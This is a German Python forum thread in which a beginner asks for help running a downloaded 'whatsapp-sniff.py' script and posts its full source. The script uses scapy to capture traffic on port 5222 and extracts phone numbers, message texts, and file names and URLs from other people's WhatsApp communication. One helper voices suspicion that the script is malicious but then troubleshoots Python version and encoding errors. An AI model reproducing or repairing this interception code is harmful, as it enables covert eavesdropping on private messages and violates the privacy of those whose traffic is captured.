Seite 1 von 2

Invalid Character in Identifier

Verfasst: Sonntag 16. August 2015, 18:27
von R0bby
Hallo,

zuerst möchte ich mal sagen das ich mich nicht so richtig mit Python auskenne.
Ich habe mir letztens ein Python Script aus dem Internet herunter geladen doch ich bekomme es nicht ans laufen.
Ich bekomme immer die Fehlermeldung:File "/storage/emulated/0/com.hipipal.qpyplus/scripts3/whatsapp-sniff.py", line 25

Code: Alles auswählen

        print "IIIIIIIIIIIIIIIIIIIIIIIII"
                ^
SyntaxError: invalid character in identifier

Es wäre sehr nett wenn ihr mir weiter helfen würdet!

Re: Invalid Character in Identifier

Verfasst: Sonntag 16. August 2015, 18:34
von sparrow
Die Fehlermeldung bedeutet, dass ein "Identifier" (also Name einer Variable, Funktion, etc.) mindestens ein Zeichen enthält, den es nicht enthalten darf.

Re: Invalid Character in Identifier

Verfasst: Sonntag 16. August 2015, 18:36
von R0bby
Ich hab schon die Zeichen in dieser Zeile durch andere ausgetauscht doch trotzdem erscheint die Fehlermeldung immer noch...

Re: Invalid Character in Identifier

Verfasst: Sonntag 16. August 2015, 18:40
von sparrow
Dann mehr Script zeigen.
Oder die komplette Zeile mal löschen. Es kann ja auch ein Zeichen sein, dass nicht angezeigt wird.
Oder das Programm hat keine Funktion, einen eingebauten Syntax-Fehler und macht in Wirklichkeit lustige Sachen mit deinem Telefon, die du nicht willst. Ich bin auf jeden Fall immer skeptisch, wenn mir jemand etwas als Whatsapp-Sniffer andrehen will.

Re: Invalid Character in Identifier

Verfasst: Sonntag 16. August 2015, 18:44
von R0bby
Ich weiß dass es man nicht alles glauben soll, aber auch wenn ich mich nicht auskenne sieht man schon dass das Script das macht was es machen soll

Re: Invalid Character in Identifier

Verfasst: Sonntag 16. August 2015, 18:46
von R0bby
Hier ist einfach mal das ganze Skript:

Code: Alles auswählen

#!/usr/bin/env python

import os 

import sys 

from scapy.all import *

import re


PreviousMsg = "" 

PreviousFilename = "" 

Files = [] 

Messages = [] 

Urls = []


def banner(): 

    print "IIIIIIIIIIIIIIIIIIIIIIIII"

    print "II whatsapp sniff v0.1 II"

    print "II qnix@0x80.org II"

    print "IIIIIIIIIIIIIIIIIIIIIII\n"


def whatsapp_parse(packet):

    global Previous_Msg

    global Previous_Filename 

    global Files 

    global Messages 

    global Urls 

    src = packet.sprintf("%IP.src%") 

    dst = packet.sprintf("%IP.dst%") 

    sport = packet.sprintf("%IP.sport%") 

    dport = packet.sprintf("%IP.dport%") 

    raw = packet.sprintf("%Raw.load%")


    # Target Sending stuff

    if dport == "5222":

        Filename = ""

        toNumber = ""

        Url = ""

        Msg = ""

        try:

            toNumber = re.sub("\D", "", raw)

            if toNumber[5:16].startswith("0"):

                toNumber = toNumber[6:17]

            else:

                toNumber = toNumber[5:16]

            try:

                Filename = raw.split("file\\xfc")[1][1:37]

                Url = raw.split("file\\xfc")[1].split("\\xa5\\xfc")[1].split("\\xfd\\x00")[0][1:]

            except:pass


            try:

                Msg = raw.split("\\xf8\\x02\\x16\\xfc")[1][4:-1].decode("string_escape")

            except:

                pass

        except: pass

        if(len(toNumber) >= 10):

            if len(Msg) >= 1 and Previous_Msg != Msg:

                Previous_Msg = Msg

                print "To : ", toNumber

                print "Msg : ", Msg

                Messages.append(Msg)

            elif(len(Filename) >= 1 and Previous_Filename != Filename):

                Previous_Filename = Filename

                print "To : ", toNumber

                print "Filename : ", Filename

                print "URL : ", Url

                Files.append(Filename)

                Urls.append(Url)


    # Recieved Messages

    if sport == "5222":

        Msg = ""

        fromNumber = ""

        Url = ""

        Filename = ""

        try:

            fromNumber = re.sub("\D", "", raw)

            if(fromNumber[5:16].startswith("0")): fromNumber = fromNumber[6:17]

            else: fromNumber = fromNumber[5:16]

            try:

                Filename = raw.split("file\\xfc")[1][1:37]

                Url = raw.split("file\\xfc")[1].split("\\xa5\\xfc")[1].split("\\xfd\\x00")[0][1:]

            except: pass

            try: Msg = raw.split("\\x02\\x16\\xfc")[1][4:-1].decode("string_escape")

            except: pass

        except:

            pass

        if len(fromNumber) == 1 and Previous_Msg != Msg:

                Previous_Msg = Msg

                print "From : ", fromNumber

                print "Msg : ", Msg

                Messages.append(Msg)

        elif len(Filename) >= 1 and Previous_Filename != Filename:

                Previous_Filename = Filename

                print "From : ", fromNumber

                print "Filename : ", Filename

                print "URL : ", Url

                Files.append(Filename)

                Urls.append(Url)


def callback(packet): 

    sport = packet.sprintf("%IP.sport%")

    dport = packet.sprintf("%IP.dport%")

    raw = packet.sprintf("%Raw.load%")

    if raw != '??':

        if dport == "5222" or sport == "5222":

            whatsapp_parse(packet)


def main(): 

    banner() 

    if len(sys.argv) != 2:

        print "%s " % sys.argv[0]

        sys.exit(1)


    iface = sys.argv[1]

    verb = 0

    promisc = 0

    expr = "tcp port 5222"


    print("[+] Interface : ", iface)

    print("[+] filter : ", expr)

    sniff(filter=expr, prn=callback, store=0)

    # print "[+] iface %s" % scapy.iface

if __name__ == "__main__":

    main()

Re: Invalid Character in Identifier

Verfasst: Sonntag 16. August 2015, 18:58
von sparrow
Ich würde sagen, da ist etwas mit der Kodierung kaputt, denn in den Print-Statements stehen normalerweise Rauten:
https://github.com/0x90/wifi-scripts/bl ... p-sniff.py

Re: Invalid Character in Identifier

Verfasst: Sonntag 16. August 2015, 19:00
von R0bby
Nein ich habe die Rauten mit Absicht ausgetauscht, denn mit ihnen hatte ich die selbe Fehlermeldung und ich wollte gucken ob sich dies ändert wenn ich ein anderes Zeichen benutze

Re: Invalid Character in Identifier

Verfasst: Sonntag 16. August 2015, 19:19
von sparrow
Ok, ich kann sowohl den von mir verlinkten Code, als auch den, den du hier gepostet hast, kann ich problemlos durch den Parser jagen.

In welcher Umgebung wird der Code gestartet?

Re: Invalid Character in Identifier

Verfasst: Sonntag 16. August 2015, 19:22
von R0bby
Ich habe das Skript in einem Debian Terminal gestartet udn in einer typischen Python Konsole die von einer APP bereit gestellt wird.
In beiden Konsolen wird eine Python3 Version verwendet.

Re: Invalid Character in Identifier

Verfasst: Sonntag 16. August 2015, 19:24
von sparrow
Mit Python 3 wird der Code nicht funktionieren, denn dort wird diese Form des Print-Statements nicht mehr unterstützt.
Dann kommt es auf jeden Fall zu einem "SyntaxError: invalid syntax"

Re: Invalid Character in Identifier

Verfasst: Sonntag 16. August 2015, 19:26
von R0bby
Sollte ich dann eine 2er Version benutzen?

Re: Invalid Character in Identifier

Verfasst: Sonntag 16. August 2015, 19:27
von sparrow
Jap.
2.7.x ist die aktuelle Version von Python 2.

Re: Invalid Character in Identifier

Verfasst: Sonntag 16. August 2015, 19:29
von R0bby
Nur leider hatte ich schon vorher diese Version benutzt und habe dann eine Fehlermeldung erhalten, dass ich einen Non-Ascii Character verwende...

Re: Invalid Character in Identifier

Verfasst: Sonntag 16. August 2015, 19:32
von R0bby
Das hier war die exakte Fehlermeldung: File "whatsapp-sniff.py", line 25
SyntaxError: Non-ASCII character '\xc2' in file whatsapp-sniff.py on line 25, but no encoding declared; see http://www.python.org/peps/pep-0263.html for details

Re: Invalid Character in Identifier

Verfasst: Sonntag 16. August 2015, 19:43
von sparrow
Ich verweise auf den gerade abgearbeiteten Thread ganz in der Nähe:

http://www.python-forum.de/viewtopic.php?f=1&t=36864

Re: Invalid Character in Identifier

Verfasst: Sonntag 16. August 2015, 19:49
von R0bby
Ich habe schon einmal im Skript oben die UTF-8 Kodierung deklariert mit "# coding: utf8".
Doch trotzdem hat es nichts gebracht...

Re: Invalid Character in Identifier

Verfasst: Sonntag 16. August 2015, 19:50
von R0bby
Außerdem benutze ich Python ja nicht unter Windows!

Re: Invalid Character in Identifier

Verfasst: Sonntag 16. August 2015, 19:53
von sparrow
Das hat damit nichts zu tun.
Das als UTF-8 zu deklarieren kann auch nicht helfen, denn wenn kein Encoding für die Quelldatei angegeben ist, dann nimmt Python UTF-8 als Encoding an.
Deine Quelldatei ist also anders kodiert, und _das_ Encoding musst du angeben.

Re: Invalid Character in Identifier

Verfasst: Sonntag 16. August 2015, 19:54
von R0bby
Achso, wie gesagt ich kenne mich nicht aus.
Und wie mache ich das?